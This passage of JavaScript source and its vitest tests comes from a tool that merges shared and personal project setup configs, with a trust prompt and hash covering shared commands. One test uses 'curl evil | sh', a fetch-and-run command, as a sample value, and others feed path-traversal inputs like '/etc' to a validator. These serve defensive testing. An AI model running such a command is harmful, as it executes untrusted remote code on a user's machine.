*/
export const sanitizeProjectActions = (value) => {
if (!Array.isArray(value)) return [];
const actions = [];
const seenIds = new Set();
for (const entry of value) {
if (!isObjectRecord(entry)) continue;
const id = trimmedString(entry.id);
const name = clamp(trimmedString(entry.name), ACTION_NAME_MAX_LENGTH);
const command = clamp(trimmedString(entry.command), ACTION_COMMAND_MAX_LENGTH);
if (!id || !name || !command || seenIds.has(id)) continue;
seenIds.add(id);
const icon = trimmedString(entry.icon);
const platforms = sanitizeActionPlatforms(entry.platforms);
const openUrl = clamp(trimmedString(entry.openUrl), ACTION_OPEN_URL_MAX_LENGTH);
const desktopOpenSshForward = clamp(trimmedString(entry.desktopOpenSshForward), ACTION_DESKTOP_FORWARD_MAX_LENGTH);
const action = { id, name, command, icon: icon || null };
if (entry.autoOpenUrl === true) action.autoOpenUrl = true;
if (openUrl) action.openUrl = openUrl;
if (desktopOpenSshForward) action.desktopOpenSshForward = desktopOpenSshForward;
if (platforms.length > 0) action.platforms = platforms;
if (entry.runIn === 'parent') action.runIn = 'parent';
actions.push(action);
}
return actions;
};
/** Draft starters: `{ type: 'command' | 'skill', name }`, unique by `type:name`. */
export const sanitizeDraftStarters = (value) => {
if (!Array.isArray(value)) return [];
const starters = [];
const seen = new Set();
for (const entry of value) {
if (!isObjectRecord(entry)) continue;
const type = entry.type === 'command' || entry.type === 'skill' ? entry.type : null;
const name = trimmedString(entry.name);
if (!type || !name) continue;
const key = `${type}:${name}`;
if (seen.has(key)) continue;
seen.add(key);
starters.push({ type, name });
}
return starters;
};
/**
* The client-facing view of a raw config document. A primary action id that
* names no action is reported as `null`.
*/
const sanitizeIdList = (value) => {
if (!Array.isArray(value)) return [];
const ids = [];
for (const entry of value) {
const id = trimmedString(entry);
if (id && !ids.includes(id)) ids.push(id);
}
return ids;
};
/**
* The personal part of the view, straight from the personal file. The wait
* flag is `null` when the file does not set it, so the merge can let a
* shared value through; `hiddenSharedActionIds` and `setupWorktreeMode` only
* matter when a shared file exists.
*/
export const projectSetupViewOf = (raw) => {
const document = isObjectRecord(raw) ? raw : {};
const projectActions = sanitizeProjectActions(document.projectActions);
const primaryRaw = trimmedString(document.projectActionsPrimaryId);
return {
setupWorktree: sanitizeSetupCommands(document['setup-worktree']),
setupWorktreeWait: typeof document['setup-worktree-wait'] === 'boolean' ? document['setup-worktree-wait'] : null,
setupWorktreeMode: SETUP_WORKTREE_MODES.has(document.setupWorktreeMode) ? document.setupWorktreeMode : 'append',
projectActions,
projectActionsPrimaryId: primaryRaw && projectActions.some((action) => action.id === primaryRaw) ? primaryRaw : null,
draftStarters: sanitizeDraftStarters(document.draftStarters),
hiddenSharedActionIds: sanitizeIdList(document.hiddenSharedActionIds),
sharedTrust: sharedTrustOf(document.sharedTrust),
};
};
/** The recorded answer to the trust prompt: which shared commands were trusted, and when. */
const sharedTrustOf = (value) => {
if (!isObjectRecord(value)) return null;
const hash = trimmedString(value.hash);
if (!hash) return null;
return { hash, trustedAt: Number.isFinite(value.trustedAt) ? value.trustedAt : 0 };
};
/**
* Turn a client patch (view keys) into the on-disk keys it changes. Only the
* keys present in the patch are returned, so a caller can merge the result
* over the raw document without clearing what the patch did not mention.
* A key with the wrong shape is a validation error, never silently dropped.
*/
export const projectSetupPatchToStored = (patch) => {
if (!isObjectRecord(patch)) {
throw new Error('patch must be an object');
}
const stored = {};
if ('setupWorktree' in patch) {
if (!Array.isArray(patch.setupWorktree)) throw new Error('setupWorktree must be an array of commands');
stored['setup-worktree'] = sanitizeSetupCommands(patch.setupWorktree);
}
if ('setupWorktreeWait' in patch) {
if (typeof patch.setupWorktreeWait !== 'boolean') throw new Error('setupWorktreeWait must be a boolean');
stored['setup-worktree-wait'] = patch.setupWorktreeWait;
}
if ('projectActions' in patch) {
if (!Array.isArray(patch.projectActions)) throw new Error('projectActions must be an array');
stored.projectActions = sanitizeProjectActions(patch.projectActions);
}
if ('projectActionsPrimaryId' in patch) {
const primary = patch.projectActionsPrimaryId;
if (primary !== null && typeof primary !== 'string') throw new Error('projectActionsPrimaryId must be a string or null');
stored.projectActionsPrimaryId = trimmedString(primary) || undefined;
}
if ('draftStarters' in patch) {
if (!Array.isArray(patch.draftStarters)) throw new Error('draftStarters must be an array');
stored.draftStarters = sanitizeDraftStarters(patch.draftStarters);
}
if ('hiddenSharedActionIds' in patch) {
if (!Array.isArray(patch.hiddenSharedActionIds)) throw new Error('hiddenSharedActionIds must be an array');
stored.hiddenSharedActionIds = sanitizeIdList(patch.hiddenSharedActionIds);
}
if ('setupWorktreeMode' in patch) {
if (!SETUP_WORKTREE_MODES.has(patch.setupWorktreeMode)) throw new Error('setupWorktreeMode must be "append" or "replace"');
stored.setupWorktreeMode = patch.setupWorktreeMode;
}
if ('sharedTrustHash' in patch) {
const hash = patch.sharedTrustHash;
if (hash !== null && (typeof hash !== 'string' || !hash.trim())) throw new Error('sharedTrustHash must be a non-empty string or null');
stored.sharedTrust = hash === null ? undefined : { hash: hash.trim(), trustedAt: Date.now() };
}
if ('projectPath' in patch) {
if (typeof patch.projectPath !== 'string') throw new Error('projectPath must be a string');
const projectPath = patch.projectPath.trim();
if (projectPath) stored.projectPath = projectPath;
}
return stored;
};
// ── Shared file ──
export const SHARED_CONFIG_RELATIVE_PATH = '.openchamber/project.json';
/** Where repository plans live unless the shared file's `plansDir` says otherwise. */
export const DEFAULT_PLANS_DIR = '.openchamber/plans';
const SHARED_CONFIG_VERSION = 1;
/**
* A `plansDir` is a relative path inside the repo: no absolute paths, no
* drive letters, no `..` segments, forward slashes. Returns the normalized
* value or `null` when the value is not acceptable.
*/
export const normalizePlansDir = (value) => {
const raw = trimmedString(value).replace(/\\/g, '/');
if (!raw) return null;
if (raw.startsWith('/') || /^[A-Za-z]:/.test(raw)) return null;
const segments = raw.split('/').filter((segment) => segment.length > 0 && segment !== '.');
if (segments.length === 0 || segments.some((segment) => segment === '..')) return null;
return segments.join('/');
};
const EMPTY_SHARED = Object.freeze({
setupWorktree: [],
setupWorktreeWait: null,
projectActions: [],
draftStarters: [],
plansDir: null,
});
/**
* Parse the text of a shared file. Anything that is not a version-1 object
* is `invalid` with a reason (never an empty config: a teammate must see that
* the file is broken, not that the project has no shared setup). A `plansDir`
* that points outside the repo is invalid for the same reason.
*/
export const parseSharedProjectConfig = (raw) => {
let parsed;
try {
parsed = JSON.parse(raw);
} catch (error) {
return { status: 'invalid', reason: `invalid JSON: ${error instanceof Error ? error.message : String(error)}` };
}
if (!isObjectRecord(parsed)) return { status: 'invalid', reason: 'not an object' };
if (parsed.version !== SHARED_CONFIG_VERSION) return { status: 'invalid', reason: `unsupported version ${JSON.stringify(parsed.version)}` };
if ('setupWorktree' in parsed && !Array.isArray(parsed.setupWorktree)) return { status: 'invalid', reason: 'setupWorktree must be an array' };
if ('setupWorktreeWait' in parsed && typeof parsed.setupWorktreeWait !== 'boolean') return { status: 'invalid', reason: 'setupWorktreeWait must be a boolean' };
if ('projectActions' in parsed && !Array.isArray(parsed.projectActions)) return { status: 'invalid', reason: 'projectActions must be an array' };
if ('draftStarters' in parsed && !Array.isArray(parsed.draftStarters)) return { status: 'invalid', reason: 'draftStarters must be an array' };
let plansDir = null;
if ('plansDir' in parsed && parsed.plansDir !== null) {
plansDir = normalizePlansDir(parsed.plansDir);
if (!plansDir) return { status: 'invalid', reason: 'plansDir must be a relative path inside the repository' };
}
return {
status: 'ok',
config: {
setupWorktree: sanitizeSetupCommands(parsed.setupWorktree),
setupWorktreeWait: typeof parsed.setupWorktreeWait === 'boolean' ? parsed.setupWorktreeWait : null,
projectActions: sanitizeProjectActions(parsed.projectActions),
draftStarters: sanitizeDraftStarters(parsed.draftStarters),
plansDir,
},
};
};
const withSource = (entries, source) => entries.map((entry) => ({ ...entry, source }));
/**
* What a trust answer covers: the shared setup commands and the shared
* actions' commands, in a canonical order, hashed. A pull that changes any
* of them changes the hash, so the prompt returns for the new commands.
* `null` when the shared config has nothing that executes.
*/
export const sharedTrustHashOf = (shared) => {
const commands = shared.setupWorktree;
const actions = shared.projectActions
.map((action) => {
const executable = { id: action.id, command: action.command };
if (action.runIn) executable.runIn = action.runIn;
return executable;
})
.sort((left, right) => (left.id < right.id ? -1 : left.id > right.id ? 1 : 0));
if (commands.length === 0 && actions.length === 0) return null;
const digest = crypto.createHash('sha256').update(JSON.stringify({ setupWorktree: commands, projectActions: actions })).digest('hex');
return `sha256:${digest}`;
};
/**
* One merged view from the personal view and the shared read. Rules:
* - setup commands: shared first, then personal; personal `setupWorktreeMode`
* `replace` uses only the personal list;
* - wait flag: personal when the personal file sets it, else shared, else off;
* - actions: union by id, a personal action replaces the shared one with the
* same id, hidden shared ids are dropped, primary is personal only;
* - draft starters: union by `type:name`, shared first.
* Every merged action and starter carries `source`. The `shared` and
* `personal` blocks are returned too so a page can edit one without guessing
* which entries came from where.
*/
export const mergeProjectSetup = (personal, sharedRead) => {
const shared = sharedRead.status === 'ok' ? sharedRead.config : EMPTY_SHARED;
const hidden = new Set(personal.hiddenSharedActionIds);
const personalIds = new Set(personal.projectActions.map((action) => action.id));
const sharedActions = shared.projectActions.filter((action) => !hidden.has(action.id) && !personalIds.has(action.id));
const starterKeys = new Set(shared.draftStarters.map((starter) => `${starter.type}:${starter.name}`));
const personalStarters = personal.draftStarters.filter((starter) => !starterKeys.has(`${starter.type}:${starter.name}`));
const trustHash = sharedTrustHashOf(shared);
return {
// Nothing executable in the shared file means nothing to trust; otherwise
// the recorded answer must match the current commands exactly.
trust: { hash: trustHash, trusted: trustHash === null || personal.sharedTrust?.hash === trustHash },
setupWorktree: personal.setupWorktreeMode === 'replace'
? personal.setupWorktree
: [...shared.setupWorktree, ...personal.setupWorktree],
setupWorktreeWait: personal.setupWorktreeWait !== null
? personal.setupWorktreeWait
: shared.setupWorktreeWait === true,
projectActions: [...withSource(sharedActions, 'shared'), ...withSource(personal.projectActions, 'personal')],
projectActionsPrimaryId: personal.projectActionsPrimaryId,
draftStarters: [...withSource(shared.draftStarters, 'shared'), ...withSource(personalStarters, 'personal')],
shared: sharedBlockOf(sharedRead, shared),
personal,
};
};
const sharedBlockOf = (sharedRead, shared) => {
const block = { status: sharedRead.status, path: SHARED_CONFIG_RELATIVE_PATH, ...shared };
if (sharedRead.status === 'invalid') block.reason = sharedRead.reason;
return block;
};
/** An action without an icon is written without the key; readers fall back to the play icon. */
const withoutEmptyIcon = (action) => {
if (action.icon !== null) return action;
const { icon: _emptyIcon, ...rest } = action;
return rest;
};
/** True when the shared config carries nothing: the file should not exist. */
export const isSharedProjectConfigEmpty = (config) => (
config.setupWorktree.length === 0
&& config.setupWorktreeWait === null
&& config.projectActions.length === 0
&& config.draftStarters.length === 0
&& config.plansDir === null
);
/**
* The bytes of a shared file: version first, then only the keys that carry
* something, in a fixed order, pretty-printed the file is committed and
* reviewed, so its diffs must stay readable. Actions lose their `source`
* mark and keep only the fields the user set.
*/
export const serializeSharedProjectConfig = (config) => {
const document = { version: SHARED_CONFIG_VERSION };
if (config.setupWorktree.length > 0) document.setupWorktree = config.setupWorktree;
if (config.setupWorktreeWait !== null) document.setupWorktreeWait = config.setupWorktreeWait;
if (config.projectActions.length > 0) document.projectActions = sanitizeProjectActions(config.projectActions).map(withoutEmptyIcon);
if (config.draftStarters.length > 0) document.draftStarters = config.draftStarters;
if (config.plansDir !== null) document.plansDir = config.plansDir;
return `${JSON.stringify(document, null, 2)}\n`;
};
/**
* The next shared config after a client patch over the current one. Every
* named key replaces the current value; a wrongly shaped key is a validation
* error, and a `plansDir` outside the repo is refused rather than stored.
*/
export const applySharedProjectSetupPatch = (current, patch) => {
if (!isObjectRecord(patch)) throw new Error('patch must be an object');
const next = { ...current };
if ('setupWorktree' in patch) {
if (!Array.isArray(patch.setupWorktree)) throw new Error('setupWorktree must be an array of commands');
next.setupWorktree = sanitizeSetupCommands(patch.setupWorktree);
}
if ('setupWorktreeWait' in patch) {
if (patch.setupWorktreeWait !== null && typeof patch.setupWorktreeWait !== 'boolean') throw new Error('setupWorktreeWait must be a boolean or null');
next.setupWorktreeWait = patch.setupWorktreeWait;
}
if ('projectActions' in patch) {
if (!Array.isArray(patch.projectActions)) throw new Error('projectActions must be an array');
next.projectActions = sanitizeProjectActions(patch.projectActions);
}
if ('draftStarters' in patch) {
if (!Array.isArray(patch.draftStarters)) throw new Error('draftStarters must be an array');
next.draftStarters = sanitizeDraftStarters(patch.draftStarters);
}
if ('plansDir' in patch) {
if (patch.plansDir === null || (typeof patch.plansDir === 'string' && !patch.plansDir.trim())) {
next.plansDir = null;
} else {
const plansDir = normalizePlansDir(patch.plansDir);
if (!plansDir) throw new Error('plansDir must be a relative path inside the repository');
next.plansDir = plansDir;
}
}
return next;
};
export const EMPTY_SHARED_PROJECT_CONFIG = EMPTY_SHARED;
export const isProjectSetupValidationError = (error) => {
const message = error instanceof Error ? error.message : '';
return message.includes('must be') || message.includes('is required') || message.includes('unsupported characters') || message.includes('not found');
};
@@ -0,0 +1,557 @@
import { describe, expect, it } from 'vitest';
import os from 'os';
import path from 'path';
import { mkdir, mkdtemp, readFile, rm, writeFile } from 'fs/promises';
import { createProjectConfigRuntime } from './project-config.js';
import { createProjectIdFromPath, projectPathFromId } from './project-id.js';
import {
applySharedProjectSetupPatch,
isSharedProjectConfigEmpty,
mergeProjectSetup,
normalizePlansDir,
serializeSharedProjectConfig,
parseSharedProjectConfig,
sharedTrustHashOf,
projectSetupPatchToStored,
projectSetupViewOf,
sanitizeDraftStarters,
sanitizeProjectActions,
sanitizeSetupCommands,
} from './project-setup.js';
const emptyPersonal = {
setupWorktree: [],
setupWorktreeWait: null,
setupWorktreeMode: 'append',
projectActions: [],
projectActionsPrimaryId: null,
draftStarters: [],
hiddenSharedActionIds: [],
sharedTrust: null,
};
const createRuntime = async () => {
const tempRoot = await mkdtemp(path.join(os.tmpdir(), 'oc-project-setup-'));
const runtime = createProjectConfigRuntime({
fsPromises: await import('fs/promises'),
path,
projectsDirPath: path.join(tempRoot, 'projects'),
createTaskID: () => 'task-fixed-id',
});
return {
runtime,
tempRoot,
readRaw: async (projectId) => JSON.parse(await readFile(path.join(tempRoot, 'projects', `${projectId}.json`), 'utf8')),
cleanup: () => rm(tempRoot, { recursive: true, force: true }),
};
};
describe('project setup sanitizers', () => {
it('keeps only non-empty trimmed setup commands', () => {
expect(sanitizeSetupCommands([' bun install ', '', 42, '\n'])).toEqual(['bun install']);
expect(sanitizeSetupCommands('bun install')).toEqual([]);
});
it('drops actions without id, name, or command and duplicate ids', () => {
expect(sanitizeProjectActions([
{ id: 'a', name: 'Dev', command: 'bun run dev' },
{ id: 'a', name: 'Again', command: 'x' },
{ id: '', name: 'No id', command: 'x' },
{ id: 'b', name: '', command: 'x' },
'not an action',
])).toEqual([{ id: 'a', name: 'Dev', command: 'bun run dev', icon: null }]);
});
it('keeps only the optional action fields the user set', () => {
expect(sanitizeProjectActions([{
id: 'a',
name: 'Dev',
command: 'bun run dev',
icon: ' rocket ',
runIn: 'parent',
platforms: ['macos', 'MacOS', 'plan9', 'linux'],
autoOpenUrl: true,
openUrl: 'http://localhost:3000',
desktopOpenSshForward: '',
}])).toEqual([{
id: 'a',
name: 'Dev',
command: 'bun run dev',
icon: 'rocket',
autoOpenUrl: true,
openUrl: 'http://localhost:3000',
platforms: ['macos', 'linux'],
runIn: 'parent',
}]);
});
it('treats any runIn other than parent as the worktree default', () => {
const [worktree, number] = sanitizeProjectActions([
{ id: 'a', name: 'A', command: 'x', runIn: 'worktree' },
{ id: 'b', name: 'B', command: 'x', runIn: 123 },
]);
expect(worktree).not.toHaveProperty('runIn');
expect(number).not.toHaveProperty('runIn');
});
it('dedupes draft starters by type and name', () => {
expect(sanitizeDraftStarters([
{ type: 'skill', name: 'triage-prs' },
{ type: 'skill', name: 'triage-prs' },
{ type: 'command', name: ' explore ' },
{ type: 'agent', name: 'nope' },
])).toEqual([{ type: 'skill', name: 'triage-prs' }, { type: 'command', name: 'explore' }]);
});
it('builds the personal view from the on-disk keys and nulls a dangling primary action', () => {
expect(projectSetupViewOf({
'setup-worktree': ['bun install'],
'setup-worktree-wait': true,
setupWorktreeMode: 'replace',
projectActions: [{ id: 'a', name: 'A', command: 'x' }],
projectActionsPrimaryId: 'missing',
draftStarters: [{ type: 'skill', name: 's' }],
hiddenSharedActionIds: ['dev', '', 'dev', 7],
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
scheduledTasks: [{ id: 't' }],
})).toEqual({
setupWorktree: ['bun install'],
setupWorktreeWait: true,
setupWorktreeMode: 'replace',
projectActions: [{ id: 'a', name: 'A', command: 'x', icon: null }],
projectActionsPrimaryId: null,
draftStarters: [{ type: 'skill', name: 's' }],
hiddenSharedActionIds: ['dev'],
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
});
expect(projectSetupViewOf(null)).toEqual(emptyPersonal);
});
it('maps a patch to the stored keys it names and rejects wrong shapes', () => {
expect(projectSetupPatchToStored({
setupWorktree: ['a'],
projectActionsPrimaryId: null,
hiddenSharedActionIds: ['x'],
setupWorktreeMode: 'replace',
})).toEqual({
'setup-worktree': ['a'],
projectActionsPrimaryId: undefined,
hiddenSharedActionIds: ['x'],
setupWorktreeMode: 'replace',
});
expect(projectSetupPatchToStored({})).toEqual({});
expect(() => projectSetupPatchToStored({ setupWorktree: 'a' })).toThrow('setupWorktree must be');
expect(() => projectSetupPatchToStored({ setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
expect(() => projectSetupPatchToStored({ projectActions: {} })).toThrow('projectActions must be');
expect(() => projectSetupPatchToStored({ draftStarters: null })).toThrow('draftStarters must be');
expect(() => projectSetupPatchToStored({ hiddenSharedActionIds: 'dev' })).toThrow('hiddenSharedActionIds must be');
expect(() => projectSetupPatchToStored({ setupWorktreeMode: 'merge' })).toThrow('setupWorktreeMode must be');
expect(() => projectSetupPatchToStored({ sharedTrustHash: '' })).toThrow('sharedTrustHash must be');
expect(projectSetupPatchToStored({ sharedTrustHash: null })).toEqual({ sharedTrust: undefined });
expect(projectSetupPatchToStored({ sharedTrustHash: 'sha256:x' }).sharedTrust).toMatchObject({ hash: 'sha256:x' });
expect(() => projectSetupPatchToStored([])).toThrow('patch must be');
});
});
describe('shared project config', () => {
it('accepts a relative plansDir inside the repo only', () => {
expect(normalizePlansDir(' docs/plans/ ')).toBe('docs/plans');
expect(normalizePlansDir('./.openchamber/plans')).toBe('.openchamber/plans');
expect(normalizePlansDir('docs\\plans')).toBe('docs/plans');
expect(normalizePlansDir('/etc')).toBeNull();
expect(normalizePlansDir('C:/plans')).toBeNull();
expect(normalizePlansDir('../sibling/plans')).toBeNull();
expect(normalizePlansDir('docs/../../x')).toBeNull();
expect(normalizePlansDir('')).toBeNull();
});
it('parses a version-1 file and sanitizes its lists', () => {
expect(parseSharedProjectConfig(JSON.stringify({
version: 1,
setupWorktree: ['bun install', ''],
setupWorktreeWait: true,
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: '', name: 'x', command: 'y' }],
draftStarters: [{ type: 'skill', name: 's' }],
plansDir: 'docs/plans',
}))).toEqual({
status: 'ok',
config: {
setupWorktree: ['bun install'],
setupWorktreeWait: true,
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }],
draftStarters: [{ type: 'skill', name: 's' }],
plansDir: 'docs/plans',
},
});
expect(parseSharedProjectConfig('{"version":1}')).toEqual({
status: 'ok',
config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null },
});
});
it('reports a broken file as invalid with a reason, never as empty', () => {
expect(parseSharedProjectConfig('{ nope').status).toBe('invalid');
expect(parseSharedProjectConfig('[]')).toEqual({ status: 'invalid', reason: 'not an object' });
expect(parseSharedProjectConfig('{"version":2}').reason).toMatch(/unsupported version/);
expect(parseSharedProjectConfig('{"version":1,"setupWorktree":"bun install"}').reason).toMatch(/setupWorktree must be/);
expect(parseSharedProjectConfig('{"version":1,"plansDir":"/etc"}').reason).toMatch(/plansDir/);
});
it('merges shared and personal by the agreed rules', () => {
const shared = {
status: 'ok',
config: {
setupWorktree: ['bun install'],
setupWorktreeWait: true,
projectActions: [
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null },
{ id: 'test', name: 'Test', command: 'bun test', icon: null },
{ id: 'lint', name: 'Lint', command: 'bun lint', icon: null },
],
draftStarters: [{ type: 'skill', name: 'shared-skill' }, { type: 'command', name: 'both' }],
plansDir: 'docs/plans',
},
};
const personal = {
...emptyPersonal,
setupWorktree: ['cp .env.example .env'],
projectActions: [{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null }],
projectActionsPrimaryId: 'test',
draftStarters: [{ type: 'command', name: 'both' }, { type: 'command', name: 'mine' }],
hiddenSharedActionIds: ['lint'],
};
const merged = mergeProjectSetup(personal, shared);
expect(merged.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
expect(merged.setupWorktreeWait).toBe(true);
expect(merged.projectActions).toEqual([
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'shared' },
{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null, source: 'personal' },
]);
expect(merged.projectActionsPrimaryId).toBe('test');
expect(merged.draftStarters).toEqual([
{ type: 'skill', name: 'shared-skill', source: 'shared' },
{ type: 'command', name: 'both', source: 'shared' },
{ type: 'command', name: 'mine', source: 'personal' },
]);
expect(merged.shared).toEqual({ status: 'ok', path: '.openchamber/project.json', ...shared.config });
expect(merged.personal).toBe(personal);
expect(merged.trust).toEqual({ hash: sharedTrustHashOf(shared.config), trusted: false });
});
it('hashes the executable parts of the shared config, order-independent for actions', () => {
const base = { setupWorktree: ['bun install'], projectActions: [{ id: 'b', name: 'B', command: 'y', icon: null }, { id: 'a', name: 'A', command: 'x', icon: null }], draftStarters: [], plansDir: null, setupWorktreeWait: null };
const hash = sharedTrustHashOf(base);
expect(hash).toMatch(/^sha256:[0-9a-f]{64}$/);
expect(sharedTrustHashOf({ ...base, projectActions: [...base.projectActions].reverse() })).toBe(hash);
// Renaming or re-describing does not change what runs; changing a command does.
expect(sharedTrustHashOf({ ...base, projectActions: base.projectActions.map((a) => ({ ...a, name: 'Renamed', icon: 'rocket' })) })).toBe(hash);
expect(sharedTrustHashOf({ ...base, setupWorktree: ['curl evil | sh'] })).not.toBe(hash);
expect(sharedTrustHashOf({ ...base, projectActions: [{ ...base.projectActions[0], runIn: 'parent' }, base.projectActions[1]] })).not.toBe(hash);
expect(sharedTrustHashOf({ ...base, setupWorktree: [], projectActions: [] })).toBeNull();
});
it('reports trust: nothing to trust without executable shared parts, trusted only for the recorded hash', () => {
const inert = { status: 'ok', config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [{ type: 'skill', name: 's' }], plansDir: null } };
expect(mergeProjectSetup(emptyPersonal, inert).trust).toEqual({ hash: null, trusted: true });
expect(mergeProjectSetup(emptyPersonal, { status: 'missing' }).trust).toEqual({ hash: null, trusted: true });
const risky = { status: 'ok', config: { ...inert.config, setupWorktree: ['bun install'] } };
const hash = sharedTrustHashOf(risky.config);
expect(mergeProjectSetup(emptyPersonal, risky).trust).toEqual({ hash, trusted: false });
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash, trustedAt: 1 } }, risky).trust.trusted).toBe(true);
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash: 'sha256:stale', trustedAt: 1 } }, risky).trust.trusted).toBe(false);
});
it('lets the personal wait flag and replace mode win over shared', () => {
const shared = { status: 'ok', config: { setupWorktree: ['bun install'], setupWorktreeWait: true, projectActions: [], draftStarters: [], plansDir: null } };
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'], setupWorktreeWait: false, setupWorktreeMode: 'replace' }, shared);
expect(merged.setupWorktree).toEqual(['mine']);
expect(merged.setupWorktreeWait).toBe(false);
});
it('carries an invalid shared read through with its reason and merges nothing from it', () => {
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'] }, { status: 'invalid', reason: 'invalid JSON: x' });
expect(merged.setupWorktree).toEqual(['mine']);
expect(merged.shared.status).toBe('invalid');
expect(merged.shared.reason).toBe('invalid JSON: x');
expect(merged.shared.projectActions).toEqual([]);
});
});
describe('shared project config writes', () => {
const empty = { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null };
it('applies a patch over the current config and refuses wrong shapes', () => {
const next = applySharedProjectSetupPatch({ ...empty, setupWorktree: ['old'] }, {
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', source: 'personal', icon: '' }],
plansDir: './docs/plans/',
});
expect(next.setupWorktree).toEqual(['old']);
expect(next.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }]);
expect(next.plansDir).toBe('docs/plans');
expect(applySharedProjectSetupPatch(next, { plansDir: '' }).plansDir).toBeNull();
expect(() => applySharedProjectSetupPatch(empty, { plansDir: '/etc' })).toThrow('plansDir must be');
expect(() => applySharedProjectSetupPatch(empty, { setupWorktree: 'x' })).toThrow('setupWorktree must be');
expect(() => applySharedProjectSetupPatch(empty, { setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
});
it('serializes version first, only the keys that carry something, without source marks', () => {
expect(serializeSharedProjectConfig({ ...empty, projectActions: [{ id: 'dev', name: 'Dev', command: 'x', icon: null, source: 'personal' }], plansDir: 'docs/plans' })).toBe([
'{',
' "version": 1,',
' "projectActions": [',
' {',
' "id": "dev",',
' "name": "Dev",',
' "command": "x"',
' }',
' ],',
' "plansDir": "docs/plans"',
'}',
'',
].join('\n'));
expect(isSharedProjectConfigEmpty(empty)).toBe(true);
expect(isSharedProjectConfigEmpty({ ...empty, setupWorktreeWait: false })).toBe(false);
});
});
describe('project id', () => {
it('round-trips a path through the id', () => {
const id = createProjectIdFromPath('/Users/me/projects/repo/');
expect(id.startsWith('path_')).toBe(true);
expect(projectPathFromId(id)).toBe('/Users/me/projects/repo');
expect(projectPathFromId('project-test')).toBe('');
expect(projectPathFromId('path_')).toBe('');
});
});
describe('project setup runtime', () => {
it('reads an empty merged view for a project without files', async () => {
const { runtime, cleanup } = await createRuntime();
try {
const view = await runtime.readProjectSetup('project-a');
expect(view.setupWorktree).toEqual([]);
expect(view.setupWorktreeWait).toBe(false);
expect(view.projectActions).toEqual([]);
expect(view.draftStarters).toEqual([]);
expect(view.shared.status).toBe('missing');
expect(view.personal).toEqual(emptyPersonal);
} finally {
await cleanup();
}
});
it('round-trips a patch and preserves server-owned and unknown keys', async () => {
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
try {
await mkdir(path.join(tempRoot, 'projects'), { recursive: true });
await writeFile(path.join(tempRoot, 'projects', 'project-a.json'), JSON.stringify({
version: 1,
scheduledTasks: [{ id: 'task', name: 'Keep me' }],
futureKey: { from: 'a newer build' },
'setup-worktree': ['old'],
}));
const view = await runtime.updateProjectSetup('project-a', {
setupWorktree: ['bun install', ''],
setupWorktreeWait: true,
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
projectActionsPrimaryId: 'dev',
projectPath: '/repo/a',
});
expect(view.setupWorktree).toEqual(['bun install']);
expect(view.setupWorktreeWait).toBe(true);
expect(view.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'personal' }]);
expect(view.projectActionsPrimaryId).toBe('dev');
const raw = await readRaw('project-a');
expect(raw.scheduledTasks).toEqual([{ id: 'task', name: 'Keep me' }]);
expect(raw.futureKey).toEqual({ from: 'a newer build' });
expect(raw['setup-worktree']).toEqual(['bun install']);
expect(raw['setup-worktree-wait']).toBe(true);
expect(raw.projectPath).toBe('/repo/a');
expect(await runtime.readProjectSetup('project-a')).toEqual(view);
} finally {
await cleanup();
}
});
it('clears the primary action id when the patch sets it to null', async () => {
const { runtime, readRaw, cleanup } = await createRuntime();
try {
await runtime.updateProjectSetup('project-a', {
projectActions: [{ id: 'dev', name: 'Dev', command: 'x' }],
projectActionsPrimaryId: 'dev',
});
await runtime.updateProjectSetup('project-a', { projectActionsPrimaryId: null });
expect(await readRaw('project-a')).not.toHaveProperty('projectActionsPrimaryId');
expect((await runtime.readProjectSetup('project-a')).projectActionsPrimaryId).toBeNull();
} finally {
await cleanup();
}
});
it('leaves the file alone when the patch is invalid', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
await expect(runtime.updateProjectSetup('project-a', { setupWorktree: 'nope' })).rejects.toThrow('setupWorktree must be');
await expect(readFile(path.join(tempRoot, 'projects', 'project-a.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
} finally {
await cleanup();
}
});
it('does not clobber a scheduled task written between read and write', async () => {
const { runtime, readRaw, cleanup } = await createRuntime();
try {
await runtime.upsertScheduledTask('project-a', {
name: 'Nightly',
enabled: true,
schedule: { kind: 'daily', time: '09:30', timezone: 'UTC' },
execution: { prompt: 'hi', providerID: 'openai', modelID: 'gpt' },
});
await Promise.all([
runtime.updateProjectSetup('project-a', { setupWorktree: ['bun install'] }),
runtime.updateProjectSetup('project-a', { draftStarters: [{ type: 'skill', name: 's' }] }),
]);
const raw = await readRaw('project-a');
expect(raw.scheduledTasks).toHaveLength(1);
expect(raw['setup-worktree']).toEqual(['bun install']);
expect(raw.draftStarters).toEqual([{ type: 'skill', name: 's' }]);
} finally {
await cleanup();
}
});
it('reads the shared file from the checkout the id names and merges it', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({
version: 1,
setupWorktree: ['bun install'],
